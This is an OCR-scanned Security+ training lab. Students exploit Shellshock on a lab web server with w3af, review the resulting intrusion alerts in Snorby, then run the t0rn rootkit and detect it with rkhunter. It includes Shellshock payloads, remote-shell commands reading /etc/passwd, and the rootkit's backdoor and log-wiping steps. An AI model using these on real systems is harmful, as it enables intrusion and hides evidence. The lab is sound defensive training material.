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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

Introduction
The material in this lab aligns to the following learning objectives:

e Objective 3.1: Explain types of malware

e Objective 3.2: Summarize various types of attacks

e Objective 3.5: Explain types of application attacks

e Objective 3.7: Given a scenario, use appropriate tools and techniques to
discover security threats and vulnerabilities

More information about individual objectives and their sections can be found in
CompTIA document SY0-401, which is available from the CompTIA website.

In this lab, you will be conducting vulnerability assessments using various tools and
malware. You will be performing the following tasks:

1. Shellshock Vulnerabilities
2. Rootkit Vulnerabilities

3

Mhis work by the National Information Security and Geospatial Technologies Consortium (NISGTC), and except where

otherwise noted, is licensed under the Creative Commons Attribution 3.0 Unported License.




Lab 10: Analyze and Differentiate Types of Malware & Application Attacks
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Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Virtual Machine IP Address Account Password
(if needed) (if needed)
Ubuntu 192.168.1.50 student securepassword
DVL Server 10.1.1.10 root toor
Security Onion 192.168.1.6 soadmin mypassword
192.168.1.1
pfSense 10.1.1.1 admin pfsense
203.0.113.1
Kali 203.0.113.2 root toor
5

—G)
his work by the National Information Security and Geospatial Technologies Consortium (NISGTC), and except where

otherwise noted, is licensed under the Creative Commons Attribution 3.0 Unported License.




Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

Pre-Lab Setup

Before continuing to Task 1, log into the following systems below as instructed.

l. Kali
1. Onthe login screen, select Other.
2. When presented with the username, type root. Press Enter.
3. When prompted for the password, type toor. Press Enter.
4. Minimize the PC viewer window.

Il. Ubuntu
1. Onthe login screen, select the student account.

2. When prompted for the password, type securepassword. Press Enter.

3.

Minimize the PC viewer window.

l1l. Security Onion

1.

2.
3.
4
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On the login screen, type soadmin. Press Enter.

When prompted for the password, type mypassword.

Open a new Terminal.

Type the command below and press Enter. Use mypassword when
prompted for root privileges.

sudo service nsm start

Close the Terminal window when services are finished starting.
Minimize the PC viewer window.
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1 Shellshock Vulnerability

1.1 Identifying the Shellshock Vulnerability

1. Openthe Ubuntu PC Viewer. If closed, click on the Ubuntu icon on the Topology
page.

Ubuntu

2. Open a new Terminal window by clicking on the Terminal icon located on the
left menu.

3. Let us identify first what version of bash is running on the Ubuntu system. Type
the command below followed by pressing Enter.

echo $BASH VERSION

student@ubuntu:~$ echo $SBASH_VERSION
4.2.25(1)-release

student@ubuntu:~$

Notice we are running the 4.2.X family, which is susceptible to the Shellshock
vulnerability.

4. Change to the /home/scripts directory.

cd /home/scripts

student@ubuntu:~$ cd fhome/scripts/

student@buntu: fhome /scripts$
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

5. Run the shellshock_test.sh script to run a vulnerability check on the current bash
configuration for the Ubuntu system.

./shellshock test.sh

student@ubuntu:~$ cd /home/scripts/

student@Ubuntu: /home/scriptsS ./shellshock_test.sh

CVE-2014-6271 (original shellshock):

./shellshock_test.sh: line 17: 2951 Segmentation fault (core dumped) shellshocker="() { x() { _;};
x() { _;} <<a; }" bash -c date 2> /dev/null

CVE-2014-6277 (segfault):

CVE-2014-6278 (Florian's patch):

CVE-2014-7169 (taviso bug):

CVE-2014-7186 (redir_stack bug): not v able

CVE-2014-7187 (nested loops off by one): not vulnerat
CVE-2014-//// (exploit 3 on http://shellshocker.net/): not vuln
student@Ubuntu: /home/scripts$

Notice the output given from the script. There are a total of four CVE
vulnerabilities detected. If presented with a message stating that the bash
application closed unexpectedly, click Continue.

@ Sorry, the application bash has closed unexpectedly.

If you notice Further problems, try restarting the computer.

4 Send an error report to help Fix this problem

Ignore future problems of this type

Show Details Continue

) 6. Each of the vulnerabilities can be diagnosed by entering bash commands into the
" 4 Terminal. Test out the CVE-2014-6271 vulnerability manually. Type the
command below followed by pressing Enter.

env x=" () { :;}; echo vulnerable’ bash -c “echo cve-2014-6271"
If you receive the output below, your system is most likely vulnerable to shellshock.

student@Ubuntu: /home/scriptss env x='() { ::;}; echo vulnerable' bash -c "echo cv
e-2014-6271"

ulnerable
ve-2014-6271

1fa[] OB : fhome /scripts$ I
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1.2 Using w3af Exploit the Shellshock Vulnerability

1. Open the Kali PC Viewer. If closed, click on the Kali icon on the Topology page.

kKali

2. Open a new Firefox web browser by clicking on the Firefox icon located on the
top left menu pane.

Applications Places ‘t [a

Computer

3. Inthe address bar, type the following: http://192.168.1.50. Press Enter.

File Edit View History Bookmarks Tools Help

[L:http://192.168.1.50/ J S |

|

2 192.168.1.50

5 Most Visitedv [l Offensive Security “§ Kali Linux &}

4. Notice that the web server is up and running. Test to see if CGl is enabled on the
web server. Type the following into the address bar: http://192.168.1.50/cgi-
bin/bashexample

File Edit View History Bookmarks Tools Help
| http://192.168....in/bashexample | & |

<@ 192.168.1.50

i Most Visitedv [JllOffensive Security "4 Kali Linux %
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

5. Press Enter. Notice the output given verifying that a bash CGl script is enabled
on the web server.

~http://192.168....in/bashexample I & |

] 192.168.1.50

=1 Most Visited Vv l]lOffensive Security " Kali Linux

CGI with Bash Example
/dev/sdal 11G 2.8G 7.5G 27% /

6. While on the Kali system, open a new Terminal window by clicking on the
Terminal icon located on the top menu pane.

Applications Places f

P

Com puter

7. While in the Terminal, change the state of the loopback network interface to an
up state.

ifconfig lo up

~# ifconfig lo up

~#

8. Verify that the loopback interface is now up.

ifconfig

9. Change to the /opt/w3af directory.

cd /opt/w3af
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

10. Initialize the w3af console application to exploit the CVE-2014-6271 vulnerability
against the cgi-bin running on the Ubuntu’s Apache web server. Type the
command below and press Enter.

./w3af console

jaf# ./w3af console

w3af=>> l

If the w3af prompt does not appear immediately, wait 1 minute until it appears.

11. Notice the command prompt change to w3af>>>. Load the plugins module by
typing the command below followed by pressing Enter.

plugins

12. Notice the command prompt change to w3af/plugins>>>. Audit the shell_shock
by typing the command below. Press Enter.

audit shell shock

w3af/plugins>>> audit shell_shock

/plugins===

f
1:

W3
13. Go back to the main w3af>>> command prompt.

back

w3af/plugins>>> back

Notice the change to the w3af>>> prompt.

14. Go into the target module.

target

11
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

15. Set the target to the following address: http://192.168.1.50/cgi-
bin/bashexample. Type the command below followed by pressing Enter.

set target http://192.168.1.50/cgi-bin/bashexample

gli-bin/b

16. Go back to the main w3af>>> command prompt.

back

/ _C'rlTl'_l target=== back

r.:-.....ruTl..::l._Jr-ati-:::w'u has been saved.

Notice the configuration is now saved.

17. Start the vulnerability detection.

start

using HTTP method GETE The modifie
. = g check"". This vulnerability
was found in thD rcquost with 1d 35.
Scan finished in 4 seconds.
Stopping the core...
w3af>>>

Notice that in the output above, a vulnerability (highlighted) was found with the
request that was just made.

18. Go into the exploit module.

exploit
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks
19. Notice the prompt change. Initiate the os_commanding exploit.

exploit os commanding

w3af/exploit>>> exploit os_commanding
0s mmanding ex i gin s starting.

abil sfully ex ad .| Generated shelll objact <os_commanding object (ruser: "www-data"
stem: "Linux Ubuntu-3:13-0-32-generic-1686 GNU/Linux")>
Vulnerability successfully explof g list of available shells and proxies:

- [0] <os_commanding object |(ruser: "www-data" rsystem: "Linux Ubuntu 3.13.0-32-generic 1686 GNU/Linu

o use the interact command to interact with the shell objects.
w3af/exploit>>>

Notice the successful exploitation.

20. Type the command below to start an interaction with a shell ID of 0.

interact 0

t of the remote shell. Commands typed in this menu will be run through the os_c

it/os commanding-0>>>

21. Notice the prompt change. We now should have shell access. Type the
command below followed by pressing Enter.

e whoami

f/exploit/ I::u:-_::i: ommanding-0>>> e whoami

-data

Notice that the username given back to us.

22. Type the command below followed by pressing Enter to verify what directory we
are currently viewing.

e pwd

Notice how we are in the public web server directory that stores the CGI file we
just exploited.
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks
23. List the root directory contents.

e 1s -1 /

w3af/exploit/os_commanding-0>>> e 1s -1

—
O

wwwww

10:53 bin
13:09 boot
13:06 cdrom

root root 4096 Mar
root root 40396 Jan
root root 4096 Jan
root root 4180 Apr 09:59 dev

’ root root 12288 Apr 10:02 etc

root root ~ 6 14:52 home

root root < 13:08 initrd.img -> boot/initrd.img-3.13.0-32-generic

root root 4096 3 13:09 1ib

root root 16 & 13:01 lost+found

root root 4096 Aug 7 2014 media

root root 0 ] 2012 mnt

root root ( é 10:51 opt

root root g p 08:59 pirac

root

SESENEN

DS WNWN O =

,_.
=

24. View the contents of the /etc/passwd file on the remote system.

e cat /etc/passwd

14
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25. Initiate a payload command to list all users on the system in a detailed table.
payload users

-0>>> payload users

watcher |
colord /var/1lib/colord/ /bin/false colord |
colour |
management |
daemon |
proftpd /var/run/proftpd/ /bin/false
lightdm / /1ib/1lightdm/ /bin/false Light |
Display |
Manager |
/bin; /bin/sync sync |
/var/run/pulse /bin/false PulseAudio |
daemon |
/home/syslog/ /bin/false |
Jvarsiih/onat g ‘Din/sh Gnhadee |

arpwatch /var/lib/arpwatch/ /bin/sh

27. Type exit followed by pressing Enter once more to exit out of the web
application vulnerability scanner.

fopt/w3iat#

28. Close all remaining open windows within the Kali system.

1.3 Analyzing NIDS Alerts

1. Open the Security Onion PC Viewer. If closed, click on the Security Onion icon
on the Topology page.

r.i

Seourity Onion
|
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2. Open a new Terminal window by clicking on the Terminal Emulator icon located
on the Desktop.

3. Verify whether apache is currently running on the system.

| service apache2 status

4. Ifitis not running, enter the command below to start the service.

| sudo service apache2 start

5. If prompted for a password, type mypassword and press Enter.
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

6. While on the Security Onion system, double-click on the Snorby icon located on
the Desktop.

= B
Fesysen | squer

U 43

o *

Temnaen. | s

7. The web browser launches as a result. On the “Connection is Untrusted” page,
click on I Understand the Risks followed by clicking on the Add Exception button.

o = This Connection is Untrusted

You have asked Firefox to connect securely to localhost:444, but we can't confirm that your
connection is secure.

Normally, when you try to connect securely, sites will present trusted identification to prove that you
are going to the right place. However, this site's identity can't be verified.

What Should I Do?

If you usually connect to this site without problems, this error could mean that someone is trying to
impersonate the site, and you shouldn't continue.

~ Technical Details

* I Understand the Risks

If you understand what's going on, you can tell Firefox to start trusting this site's identification. Even if
you trust the site, this error could mean that someone is tampering with your connection.

Don't add an exception unless you know there's a good reason why this site doesn't use trusted
identification.

eptic
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks
8. A new window appears. Click the Confirm Security Exception button.

Add Security Exception + X

PN

“ You are about to override how Firefox identifies this site.

Legitimate banks, stores, and other public sites will not ask you
to do this.

Server

Location: | https://localhost:444/ ’ | Get Certificate |

Certificate Status [

This site attempts to identify itself with invalid information. View...

Wrong Site

Certificate belongs to a different site, which could indicate an identity theft. {
Unknown Identity

Certificate is not trusted, because it hasn‘t been verified by a recognized
authority using a secure signature.

| Confirm Security Exception @Cancel

9. On the Snorby login page, enter the credentials below followed by clicking
Welcome, Sign In.

a. Email: soadmin@xyz.corp
b. Password: mypassword

tnreat stack

Welcome, Sign In Forgot Password? % Remember

me

18
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

10. Notice on the main dashboard that high severity alerts are presented. Click on
the High Severity alert box.

If no severities are shown in the alert boxes, click More Options followed to clicking on
Force Cache Update to refresh the screen.

Administration

2 More Options

Last Week

Last Month

Export To PDF

Force Cache Update

T o PG W e W

Administration

Dashboard «*1 More Options
LAST24 TODAY YESTERDAY THIS WEEK THIS MONTH THIS QUARTER THIS YEAR TOP 5 SENSOR
on
3 C 2 0 ecurity-Onion-eth1:1
HIGH SEVERITY MEDIUM SEVERITY LOW SEVERITY
TOP 5 ACTIVE USERS

I B A tr

LAST 5 UNIQUE EVENTS

Sensors ET WEB_SERVER Possible CV
Event Count vs Time By Sensor -8 Security-Onion-eth0:1 ET POLICY Pytho
-+ Security-Onion-eth2:1

11. On the High Severity Events page, notice the Event Signature noting that a
possible CVE-2014-6271 vulnerability exploit attempt may be in effect. Also,
notice the source and destination IPs.

High Severity Events [2] Hotkeys [ classify Event(s)
] Sev. Sensor Source IP Destination IP Event Signature
O n Security-Onion-{203.0.1132 | | 192.168.1.50 | | ETWEB_SERVER Possible CVE-2014-6271 Attempt in Headers |
O n Security-Onion- 203.0.113.2 192.168.1.50 ET WEB_SERVER Possible CVE-2014-6271 Attempt in Headers
a n Security-COnion- 203.0.113.2 192.166.1.50 ET WEB_SERVER Possible CVE-2014-6271 Attempt in Headers
O n Security-Onion- 203.0.113.2 192.168.1.50 ET WEB_SERVER Possible CVE-2014-6271 Attempt in Headers

19
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J 12. On the High Severity Events page, select the first event from the list to expand
more information.

High Seven'ty Events ... Hotkeys a Classify Event(s) % More Options

Sev. Sensor Source IP Destination IP Event Signature Timestamp

1 Security-Onion- 203.0.113.2 192.168.1.50 ET WEB_SERVER Possible CVE-2014-6271 Attempt In Headers 3:52 PM

IP Header Information Perform Mass Classification  Packst Capture Options  Event Export Options  Permalink

Source Destination Len D Flags off TTL Proto Csum

20301132 192.168.1.50 [l

Signature Information

Generator ID Sig. ID Sig. Revision Activity (30/32) Category Sig Info

2019232 attempted-admin Query Signature Database View Rule

TCP Header Information

If presented with a message asking to install a Flash plugin, ignore it.

13. Hover over the Payload section and notice the Hex given. Click on the Ascii tab.

GET./cgi-bin/bashexample.H
TTP/1.1..Connection: .keep-
alive..Host:.192.168.1.50.
.Accept-encoding:.gzip,.de
flate..Accept:.*/*, .User-a
gent:.().{.:;)};PATH=$PATH:
/usr/local/sbin:/usr/local
/bin:/usr/sbin:/usr/bin:/s
bin:/bin:/usr/games:/usr/l
ocal/games;cat./etc/passwd
.|.sed."s/$/@@n-./".|.tr.-
d."\n\r".|./usr/bin/awk."{
print.\"Shock:.\"\$0\"\n\"
e R

Notice the User-agent string.

GET./cgi-bin/bashexample .HTTP/1.1
.Connection:.keep-alive
.Host:,192.168.1.50
.kccept-eggedlng:.gzlp,.deflate

Arrant .

.User-agent:.().{.:;};PATH=$PATH: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/ga

20
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

14. Log out of the Snorby interface and close the web browser.

Administration

B Classify Event(s) 22 More Options

Timestamp

in Headers 3:52 PM

21
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

2 Rootkit Vulnerabilities

2.1 Initiate TOrn Kit Rootkit

1. Change focus to the Kali system.

2. While on the Kali system, navigate to an open Terminal window, if none is
available open a new Terminal.

3. Within the Terminal window, change to the /home/malware directory.

cd /home/malware

opt/w3af# cd /home/malware/

home /malware# [

4. While in this directory, uncompress the tk.tgz file.

This contains the tOrn kit rootkit. Handle with caution.
tar zxvf tk.tgz

home/malware# tar zxvf tk.tgz

/netstat
/dev/
/dev/.laddr
/dev/.1logz
</dev/.lproc
/dev/.1file
tOrns
/du
5.
cd tk/

22
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

6. View the files in the current directory to verify the contents of the tk.tgz file has
been uncompressed.

1s -1

:/home/malware/tk# 1s
684

)

4096 Sep 13 )00 dev
22460 Aug 3
57452 Aug

) du

0 find

32728 Aug ifconfig
Aug in, fingerd
Aug 300 login
Aug 900 1s
) 2000 netgtat

“TWXIr=Xr-Xx

NNNN

NNN

-rWXI-Xr-X

“=rwXr-xXr-Xx

— = = == = N

7. To get a feel for how the tOrn kit operates, view the contents of the tornkit-
README file.

cat tornkit-README

:/home /malwar e/tk# c at tornkit-README

1$$$$1 [ design by jOhnny7 / zho-dGh ]----

1$$$41 - —

1$$$41 ., 0%T$$b%g, .  .,0%T$$$T%y, . .,o%T$T%y, . 1$$$1 .- wm
LgLSEESSSLYLESSS "  "$FPFLOPSST'  "$HESLLESSS" '$HPPL$$$L. da$ 1$$$1 gl$s$s$ip, .
1$$$$5$$$$541$944 $$$$1$99%4 f---188%% $ESSLESEST~ 1$$$1111£$$11111
CITEESSTL LSS $$PILE5$9$ 1$$$% $$$$1$$$$Tbg.  1$$$L " "1$$$1"

liiiil 1$$$$. $$$$1$$$$$ 1$$$4 $$$$1$$$1~ %Tp _1$3$1 1$$$1

1$$$$1 ~"$Th '~ fa--t !

1$$$$1 ::' there is no stopping, what can't be stopped...

*$$$$Tbg. gdT$

[ version 6.66 .. 2308200 ..

Ok a bit about the kit... Version based on lrk style trojans
made up from latest linux sources .. special thanks to
klttykat/jOhnny7 for this..

Fll\f roo tkn of its kind thdt is 111 prec ompﬂ ed and yDt allows

8. Initiate the tOrn kit to listen on port 9999 by typing the command below
followed by pressing Enter.

./t0rn vuln 9999
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Lab 10: Analyze and Differentiate Types of Malware & Application Attacks

9. Notice the output given from the rootkit signaling that a backdoor has been
created on the system.

ST /as5r/Sb

Hostname : Kali-Attacker (203.0.113.2)
Arch ¢ =-+- bogomips : 4600.00 '
Alternative IP : 127.0.1.1 -+- Might be [1 ] active adapters.

Distribution: unknown

/tOrn: 201:

10. Leave the Terminal shell open to complete the next task.

2.2 Assessing the Damage of a Rootkit

1. While engaged in the Terminal shell, change to a hidden directory created by the
torn kit.

cd /usr/src/.puta

usr/info/.t0rn# cd

usr/src/.puta#

2. Attempt to use the Is command. Notice that the bin directory for that command
has been stripped and cannot be used.

;fusr/src/, puta# 1s

bash: /bin/1s: No such file or directory

3. As an attacker, we may decide to clean out the logs on the system using a simple
script. Run the tOrnsb script to attempt to do so.

./t0rnsb root

.puta# ./tOrnsb root

This may take a bit depending on the size of the logs.

bin/1s: No such file or directory
found

ein Meister ! 'Q%¢
usr/src/.puta#

This script deletes lines that match specific string information from the system

logs.
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4. Another hidden directory created by the rootkit can be found here:
Jusr/info/.tOrn.

cd /usr/info/.t0Orn

5. Leave the Terminal shell open for the next task.

2.3 Detecting Rootkits with rkhunter

1. Before initiating the rkhunter (rootkit hunter) application, type the command
below to view the available options.

rkhunter -h

usr/info/.t0rn# rkhunter -h

Usage: rkhunter {--check | --unlock | --update | --versioncheck |

--propupd [{filename | directory | package name} :
--list [{tests | {lang | languages} | rootki perl | propfiles}]
--config-check | --version | --help} [options]

Current_optiong are:

2. Run the rkhunter application to initiate a scan for rootkits, backdoors, and
possible exploits. While in a Terminal window, type the command below and
press Enter.

rkhunter --check

usr/info/.t0rn# rkhunter --check
[ Rootkit Hunter version 1.4.0 ]
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3. When prompted to press Enter, notice that rkhunter has just finished performing
a property check on all core system commands. Press Enter to continue.

/bin/1
/bin/login
/bin/1s
/bin/1lsmod
/bin/mktemp
/bin/more
/bin/mount
/bin/mv
/bin/netstat
/bin/ping

/bin/sed
/bin/sh
/bin/su

/bin/kmod
/bin/dash

[Press <ENTER> to continue]

Notice the Warning message for the Is, login, netstat, and ps commands along with a
few others.

4. When prompted to press Enter, notice that rkhunter has just finished performing
a check for various rootkits. Press Enter to continue.

Spar e WU LRLL
Suckit Rootkit
Superkit Rootkit

TBD (Telnet BackDoor)
TeLeKiT Rootkit

TOrn Rootkit

trNkit Rootkit
Trojanit Kit

Tuxtendo Rootkit

URK Rootkit

Vampire Rootkit

VcKit Rootkit

Volc Rootkit

Xzibit Rootkit

zaRwT .KiT Rootkit

ZK Rootkit

[Press <ENTER> to continue]

Notice the Warning message for TOrn Rootkit.
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5. When prompted to press Enter, notice that rkhunter has just finished performing
additional rootkit checks. Press Enter to continue.

Performing additional rootkit checks
Suckit Rookit additional checks
Checking for possible rootkit files and directori
Checking for possible rootkit strings

Performing malware checks
Checking running processes for suspicious
Checking for login backdoors
Checking for suspicious directories
Checking for sniffer ‘tog files

Performing trojan specific checks
Checking for enabled inetd services
Checking for Apache backdoor

Performing Linux specific chec
Checking loaded kernel modul
Checking kernel module names

Kk
e

[Press <ENTER> to continue]

6. When prompted to press Enter, notice that rkhunter has just finished performing
checks on network interfaces, password files and various SSH files. Press Enter to
continue.

CHECKLig oo passwe Tiee crianges
Checking for group file changes
Checking root account shell history files

Performing system configuration file checks

Checking - SSH configuration file

Checking if SSH root access is allowed

Checking i H protocol vl is allo
/usr/bin/rkhunter: 1: Jusn/bin/rkhunter i : ')not | found
/usr/bin/rkhunter: 1: fusr/bin/rkhunter i Inot | found
/usr/bin/rkhunter: 1: fusr/bin/rkhunter:—/bin/ps+ net” found

for running syslog daemon
Checking for syslog configuration file
Checking if syslog remote logging is allowed

Performing filesystem checks
‘'dev for suspicious file types
for hidden files and directories

[Press <ENTER> to continue]
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7. Once the rkhunter completes its scan, a summary report is displayed.

Application
ALl che

The system checks took: 1 minute and 10 seconds

All results have been written to the log file (/var/log/rkhunter.log)

One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)

8. Close all remaining windows.
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